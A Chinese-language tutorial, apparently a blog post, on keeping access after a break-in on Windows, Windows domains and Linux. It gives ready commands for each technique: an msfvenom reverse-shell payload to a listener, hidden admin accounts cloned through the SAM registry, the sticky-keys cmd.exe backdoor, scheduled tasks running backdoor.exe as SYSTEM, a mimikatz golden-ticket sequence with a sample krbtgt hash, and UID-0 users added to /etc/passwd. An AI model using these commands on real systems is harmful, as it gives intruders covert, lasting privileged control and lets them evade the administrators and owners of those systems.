权限维持
一旦黑客成功地入侵了目标系统,他们通常会尝试保持对系统的持久访问权,以便继续执行恶意活动,如窃取敏感数据、植入恶意软件、破坏系统功能等。
权限维持的过程可能包括以下几个方面:
-
后门植入:黑客可能会在系统中植入后门程序,以便在未来能够轻松地再次访问系统,而不需要重新入侵。这些后门可能是通过潜在的安全漏洞、恶意软件或其他技术手段实现的。
-
提权:黑客可能会试图提升其在系统中的权限级别,以获取更高级别的访问权限,从而能够执行更多的操作并访问更多的系统资源。这可能涉及利用系统或应用程序中的漏洞,或者尝试使用密码破解或其他攻击手段来获取更高级别的权限。
-
隐藏轨迹:黑客可能会采取措施来隐藏其活动的痕迹,以避免被系统管理员或安全团队发现。这可能包括清除日志文件、篡改审计记录、隐藏恶意进程等。
-
持续监控和访问:一旦黑客成功维持了对系统的访问权限,他们通常会持续监视系统并继续执行恶意活动,例如窃取数据、植入恶意软件或进行其他攻击。
我们可以直接简单的把权限维持理解为我们在目标上安装了一个后门,权限维持的目的是保证自己的权限不会掉,一直控制目标
本篇文章主要讲了windows和Linux及其域权限维持
Windows权限维持
Windows权限
普通权限
默认情况下,系统为用户分了7个组,并给每个组赋予不同的操作权限,管理员组(Administrators)、高权限用户组(PowerUsers)、普通用户组(Users)、备份操作组(Backup Operators)、文件复制(Replicator)、来宾用户组(Guests),身份验证用户组(Ahthenticated users)其中备份操作组和文件复制组为维护系统而设置,平时不会被使用。
管理员组拥有大部分的计算机操作权限(并不是全部),能够随意修改删除所有文件和修改系统设置只有程序信任组(特殊权限)。再往下就是高权限用户组,这一部分用户也能做大部分事情,但是不能修改系统设置,不能运行一些涉及系统管理的程序。普通用户组则被系统拴在了自己的地盘里,不能处理其他用户的文件和运行涉及管理的程序等。来宾用户组的文件操作权限和普通用户组一样,但是无法执行更多的程序。身份验证用户组(Ahthenticated users)经过ms验证程序登录的用户均属于此组。
特殊权限
除了上面提到的7个默认权限分组,系统还存在一些特殊权限成员,这些成员是为了特殊用途而设置,分别是:SYSTEM(系统)、Trustedinstaller(信任程序模块)、Everyone(所有人)、CREATOR OWNER(创建者)等,这些特殊成员不被任何内置用户组吸纳,属于完全独立出来的账户。
真正拥有“完全访问权”的只有一个成员:SYSTEM。这个成员是系统产生的,真正拥有整台计算机管理权限的账户,一般的操作是无法获取与它等价的权限的。
“所有人”权限与普通用户组权限差不多,它的存在是为了让用户能访问被标记为“公有”的文件,这也是一些程序正常运行需要的访问权限--任何人都能正常访问被赋予“Everyone”权限的文件,包括来宾组成员。
被标记为“创建者”权限的文件只有建立文件的那个用户才能访问,做到了一定程度的隐私保护。
但是,所有的文件访问权限均可以被管理员组用户和SYSTEM成员忽略,除非用户使用了NTFS加密。
无论是普通权限还是特殊权限,它们都可以“叠加"使用,“叠加”"就是指多个权限共同使用,例如一个账户原本属于Users组,而后我们把他加入Administrators组在加入Trustedinstaller等权限提升,那么现在这个账户便同时拥有两个或多个权限身份,而不是用管理员权限去覆盖原来身份。权限叠加并不是没有意义的,在一些需要特定身份访问的场合,用户只有为自己设置了指定的身份才能访问,这个时候“叠加”的使用就能减轻一部分劳动量了。
需要我们了解的权限如下
后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等
常见权限获取方法简要归类
后台权限:SQL 注入,数据库备份泄露,默认或弱口令等获取帐号密码进入。
网站权限:后台提升至网站权限,RCE 或文件操作类、反序列化等漏洞直达 Shell。
数据库权限:SQL 注入,数据库备份泄露,默认或弱口令等进入或网站权限获取后转入。
接口权限:SQL 注入,数据库备份泄露,源码泄漏,培植不当等或网站权限获取后转入。
系统权限:高危系统漏洞直达或网站权限提升转入、数据库权限提升转入,第三方转入等。
域控权限:高危系统漏洞直达或内网横向渗透转入,域控其他服务安全转入等。
Windows常见权限介绍
-
后台权限(Back-end Permissions):后台权限通常指的是系统或应用程序的管理后台权限,允许用户对系统进行管理和配置。拥有后台权限的用户可以访问系统的管理界面,并进行用户管理、内容管理、配置设置等操作。这些权限通常由管理员或具有特定权限的用户持有。
-
网站权限(Website Permissions):网站权限指的是用户在网站上的操作和访问权限。这包括用户对网站内容的访问权限、发布内容的权限、评论权限等。不同用户可能具有不同级别的网站权限,例如普通用户、编辑、管理员等。
-
数据库权限(Database Permissions):数据库权限是指用户对数据库中数据和结构的访问和操作权限。拥有数据库权限的用户可以执行数据库查询、更新、删除等操作。数据库权限通常包括对特定表、视图、存储过程的操作权限。
-
接口权限(API Permissions):接口权限是指用户对系统或应用程序提供的API(应用程序接口)的访问和使用权限。拥有接口权限的用户可以使用API执行特定的功能或访问特定的数据。接口权限通常通过API密钥或访问令牌进行控制。
-
系统权限(System Permissions):系统权限是指用户对计算机系统的操作和管理权限。这包括对操作系统、文件系统、网络配置等的管理权限。拥有系统权限的用户可以执行系统级别的操作,如安装软件、配置网络、管理用户账户等。
-
域控权限(Domain Controller Permissions):域控权限是指在Windows域环境中对域控制器的操作权限。域控制器是Windows域中的关键服务器,用于集中管理域中的用户账户、组策略、安全性等。拥有域控权限的用户可以执行域中的管理操作,如管理用户账户、设置组策略、配置域信任关系等。
Windows权限维持
Windows 操作系统常见持久性后门:
通过博客的翻阅和学习看到了几种常见的 Windows 系统后门,包括Windows系统隐藏用户、Shift粘粘键后门、注册表后门、Windows 计划任务、Windows 新服务后门、WMI后门等等。
(1)Windows系统隐藏账户
该方法是通过建立隐藏账户,制作系统用户远程控制后门,维持目标Windows系统权限。
演示一下:
(1)在目标主机cmd中输入以下命令,创建一个名为whoami$的隐藏账户,并把该隐藏账户设置为管理员权限。
首先我们拿到windows10的权限:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.235.128 LPORT=1000 -f exe -o met.exe
将我们生成的met.exe文件在目标机打开。
设置本地IP和监听端口
直接run
shell拿到管理员权限乱码的话 chcp65001就可以解决
接下来进行权限维持
在目标主机cmd中输入以下命令,创建一个名为whoami$的隐藏账户,并把该隐藏账户设置为管理员权限。
net user whoami$ Liu78963 /add
net localgroup administrators whoami$ /add
查看电脑用户
net user hack$ Admin@123 /add
查看没有这个用户
注册表克隆用户隐藏
因为$用户可以看到,在上一步的基础上我们打开注册表,在注册表操作进行用户隐藏
提示:该操作建立在上面$符号隐藏用户的基础上的
虽然上面net user看不见该隐藏用户,但是在控制面板和计算机管理的本地用户和组中,仍然是可以看的到该用户的
为了更好地隐藏我们的后门账户,我们还要开启目标主机的远程桌面进行如下操作。
打开注册表编辑器,找到HKEY_LOCAL_MACHINE\SAM\SAM
,单机右建,选择“权限”,把Administrator用户的权限,设置成“完全控制”权限,然后关闭注册表编辑器,再次打开即可。
这样SAM下的文件就都能看见了。
然后,在注册表编辑器的HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
处,点击Administrator用户,在左侧找到和在右边显示的键值的类型一项“0x1f4”相同的目录名,也就是箭头所指目录“000001F4”:
复制000001F4
目录中的F键的值:
然后找到与隐藏账户whoami$右边类型的键值“0x3e9”相同的目录名,也就是。
然后将000001F4
的F值粘贴到000003E9
的F值中,点击确定:
然后从注册表中右键导出000003E9
和whoami$,并删除whoami$用户 net user whoami$ /del:
此时,查看注册表以及本地用户和组或者控制面板,whoami$用户已经没有了:
最后,将刚才导出的两个后缀为.reg的注册表项导入注册表中:
这样我们的隐藏账户whoami$就创建好了。现在,不管你是在命令提示符下输入 net user 或者在系统用户管理界面都是看不到whoami$这个账户的,只有在注册表中才能看得到。
2.Shift后门
shift快捷键的介绍
Windows的粘滞键是c:\windows\system32\set\sethc.exe的程序,它本是为不方便组合键的人设计的,windows系统按5下shift后,windows就执行了system32下的sethc.exe,也就是启用了粘滞键
但是当我们来登录系统停留在登录界面的时候,系统还不知道我们将以哪个用户登录,所以这个时候连续按5次shift后的话系统将会以system用户(具有管理员级别的权限)来运行sethc.exe这个程序
shift后门原理
思考一下,如果我们知道了这个程序的绝对路径,那么我们就可以将cmd.exe伪装成这个粘滞键程序,当我们连按五次shift键时,便会弹出一个CMD命令行窗口,那么我们就可以无需登录进系统便可以控制目标主机了。
shift后门制作
1.在命令行执行以下命令,为复制cmd.exe为sethc.exe
copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe
但是会提示拒绝访问
2.需要更改文件权限,如下命令
takeown /f c:\windows\system32\*.* /a /r /d y 注释:强制将当前目录下的所有文件以及文件夹,子文件夹下的所有者更改为管理员组(administrator) cacls c:\windows\system32\*.* /T /E /G administrator:F 注释:在当前目录下的文件,子文件夹的NTFS权限上添加管理员组(administrator)完全控制权限(并不删除原有NTFS权限设置)
(这里我的管理员账户是client所有我把administrator换成了client)在搞一下
copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe
此时再回到账户页面将会发现粘滞键变成了cmd
总结:
粘滞键程序名称为“sethc.exe”,其路径为“c:\windows\system32\sethc.exe”。利用粘滞键做后门是一种比较常见的持续控制方法。其基本流程如下:
-
首先,我们手动或利用工具,找到sethc.exe将其删除或改名为sethc.exe.bak,接着将cmd.exe程序复制一个副本,并命名为“sethc.exe”。
-
最后,重启计算机再次按下5次Shift键时,就会弹出CMD界面,后门制作成
参考:域内权限维持思路总结_domain\account\users-CSDN博客
Windows 计划任务后门
Windows 计划任务后门是一种常见的持久化技术,它利用了Windows操作系统中的计划任务功能,使得恶意程序可以在特定的时间点执行,从而实现对目标系统的持续控制。这种后门通常包括以下几个关键步骤:
-
利用计划任务功能创建任务:黑客首先利用Windows操作系统提供的计划任务功能创建一个任务,设置任务在指定的时间点或间隔执行。这可以通过命令行工具(如schtasks命令)、PowerShell脚本或者编程接口(如Windows API)来完成。
-
指定执行的有效负载:在创建任务时,黑客会指定要执行的有效负载,即恶意程序的路径或命令。这个有效负载可以是位于目标系统本地磁盘上的可执行文件、PowerShell脚本,或者是远程位置(如Web服务器)上的文件。有效负载可以是任何可执行的代码,用于实现黑客所需的功能,比如建立远程连接、窃取信息、执行攻击等。
-
持久化设置:黑客通常会修改计划任务的设置,使得任务在系统启动时自动启动,或者定期执行,从而实现持久化。这可以通过设置任务的触发器(Trigger)来实现,比如设置任务在用户登录时执行,或者设置任务每隔一段时间执行。
-
隐藏迹象:为了尽量减少被检测到的风险,黑客可能会采取一些措施来隐藏计划任务后门的迹象,比如修改任务的名称、描述、触发器等信息,或者在执行过程中尽量减少对系统资源的占用。
1)利用 at 命令
at 命令是Windows自带的用于创建计划任务的命令,但是他主要工作在Windows Server 2008之前版本的操作系统中。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。
1. 首先在目标主机上传metasploit生成的后门程序:
2. 然后进入目标主机的shell使用net time命令确定目标主机的当前时间:
net time
3. 接着在目标主机的shell中使用at命令创建计划任务,让目标主机在指定的时间运行metasploit木马程序:
at 15:01:00 /every:M,T,W,Th,F c:\windows\system32\backdoor.exe
如上图所示,计划任务创建成功,目标主机将在每个工作日的15:01:00执行后门程序,我们便可以在这个时间获得目标机器的控制权:
(2)利用 schtasks 命令
上面我们讲了用at命令创建计划任务,但是该命令已经被Windows Vista、Windows Server 2008及之后版本的操作系统废弃了,代替他的是schtasks命命令。schtasks命令比at命令更为灵活、自由。下面来演示schtasks命令的使用,于是,攻击者开始使用schtasks命令来代替at命令。
利用schtasks创建后门的大致流程如下:
1. 首先在目标主机上传metasploit生成的后门程序。
2. 然后在目标主机上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次,启动程序为我们之前到C盘下的backdoor.exe,启动权限为system。命令如下:
schtasks /create /tn backdoor /sc minute /mo 1 /tr c:\windows\system32\backdoor.exe /ru system /f
然后新开一个metasploit监听,等待一分钟后这个监听便收到了目标主机的session:
并且这个session还是system权限的。
域控制器权限维持常见思路
在我们拿到域控的控制权后,为了我们对域控制器权限的丢失,需要使用权限维持的方法来维持我们取得的权限。下面我们将介绍几种常用的对域控制器现有权限进行持久化的操作,包括黄金票据、白银票据、Skeleton Key万能密码、DSRM 后门、SSP 注入、SID History 后门、等等。
内网横向——域渗透之黄金票据复现-CSDN博客黄金票据(Golden ticket)
在Windows的kerberos认证过程中,Client将自己的信息发送给KDC,然后KDC使用krbtgt用户的Hash作为密钥进行加密,生成TGT。那么如果获取到了krbtgt的Hash值,不就可以伪造任意的tgt了吗。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。
先假设这么一种情况,原先已拿到的域内所有的账户Hash,包括krbtgt这个账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务。
攻击者再使用黄金票据进行票据传递攻击时,通常要掌握以下信息:
- 需要伪造的域管理员用户名
- 完整的域名
- 域SID
- krbtgt的NTLM Hash
测试环境如下所示:
我们已经获得了普通域用户主机Windows7和域控制器DC的控制权,下面我们演示如何用黄金票据建立一个稳固的后门。
域成员主机:Windows 7(192.168.183.131) 域名:DEMO.com 用户名:douser域控制器:192.168.183.130 域名:DEMO.com 用户名:administrator
首先,我们登上域控制器,上传mimikatz,然后执行如下命令抓取krbtgt用户的Hash值并获取域sid:
privilege::debug lsadump::lsa /patch // 专用于在域控制器上导出用户密码或hash
如上图所示,我们得到krbtgt用户的Hash为:7c4ed692473d4b4344c3ba01c5e6cb63,域sid为S-1-5-21-979886063-1111900045-1414766810
然后,我们切换到普通域用户的机器Windows 7,用mimikatz生成名为ticket.kirbi的TGT凭证,用户名为域管理员用户(administrator):
kerberos::golden /user:administrator /domain:DEMO.com /sid:S-1-5-21-979886063-1111900045-1414766810 /krbtgt:7c4ed692473d4b4344c3ba01c5e6cb63 /ticket:ticket.kirbikerberos::golden /user:需要伪造的域管理员用户名 /domain:demo.com /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:ticket.kirbi
生成TGT凭证ticket.kirbi成功,名为ticket.kirbi,然后使用mimikatz将凭证ticket.kirbi注入进去:
kerberos::purge //先清空所有票据 kerberos::ptt ticket.kirbi //再将生成的票据注入域用户主机Windows7中 // kerberos::ptt <票据文件>
此时查看当前会话中的票据,就可以发现刚刚注入的票据在里面了:
kerberos::tgt
到此,注入成功。输入“exit”退出mimikatz,此时,攻击者就可以利用Windows 7任意访问域控制器了,可以使用net use进行登录
dir \\WIN-ENS2VR5TR3N\c$
Linux权限维持
一、木马隐藏
权限维持简单来说就是怕我们好不容易拿到的权限因为用户的排查或者一些原因导致丢失,而如果我们能够将木马藏得够深,够隐蔽,让用户无法排除出来,这样就能让我们的木马一直在目标的电脑上,自然也就实现了权限维持
1、时间伪造
2、隐藏文件
Linux中以"."(点号)开头的就是隐藏文件
而隐藏文件单纯使用ls是无法查看的,需要使用ls -la才能查看到,如下
可以看到我在该目录创建了一个.hiden.txt文件,再使用ls,并没有找到该文件,而使用ls -la命令就成功找到了刚才创建的.hiden.txt
而如果目标的管理员没有使用ls -la查看文件的一个习惯的话,就很可能找不到这个文件
3、chattr命令
Linux chattr命令用于改变文件属性。
这项指令可改变存放在ext2文件系统上的文件或目录属性,这些属性共有以下8种模式:
a:让文件或目录仅供附加用途。
b:不更新文件或目录的最后存取时间。
c:将文件或目录压缩后存放。
d:将文件或目录排除在倾倒操作之外。
i:不得任意更动文件或目录。
s:保密性删除文件或目录。
S:即时更新文件或目录。
u:预防意外删除。
二、添加用户
1、正常生成
步骤如下
1、创建一个名为test,密码为123456的root权限用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` test -o -u 0 -g root -G root -s /bin/bash -d /home/test
2、创建之后直接使用root权限登录就可以了
2、改写文件
步骤如下
生成加密后的密码,如下就是生成加密后的123456
perl -le 'print crypt('123456',"addedsalt")'
将加密结果写入passwd文件,这里就是test用户,密码为123456
echo "test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >>/etc/passwd